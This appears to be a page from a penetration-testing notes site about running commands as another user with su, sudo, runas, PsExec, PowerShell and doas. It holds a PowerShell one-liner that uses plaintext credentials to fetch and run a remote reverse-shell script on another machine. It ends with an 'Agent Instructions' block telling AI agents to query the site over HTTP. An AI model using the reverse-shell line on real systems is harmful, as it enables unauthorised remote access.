# Run Commands AS ## Linux Linux has the easiest way to change between users using the `su` command. ``` su user ``` To change to `root` user (need to be in sudoer group) ``` sudo su - ``` ## Windows ### Cmd `runas` command gives us the oportunity in `cmd` the opportunity to run some commands as other users. ``` runas /user:username runas /user:domain\username runas /user:username@domain ``` ### PsExec [*PsExec* ](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec)is part of a growing kit of Sysinternals command-line tools that aid in the administration of local and remote systems named *PsTools*. ``` psexec.exe /accepteula psexec.exe [\\COMPUTER] /u USER /p PASS cmd [args] ``` ### Powershell ``` $user='WORKGROUP\User'; $pass='passwd'; Invoke-Command -ScriptBlock { iex(New-Object Net.WebClient).DownloadString('http://:/rev_shell.ps1') } -ComputerName BART -Credential (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force)) ``` ## NetBSD Similar like sudo ``` su user ``` Similar like `sudo`to change to `root`user: ``` doas -u USER sh ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://mvc1009.gitbook.io/hackingnotes/privilege-escalation/run-commands-as.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.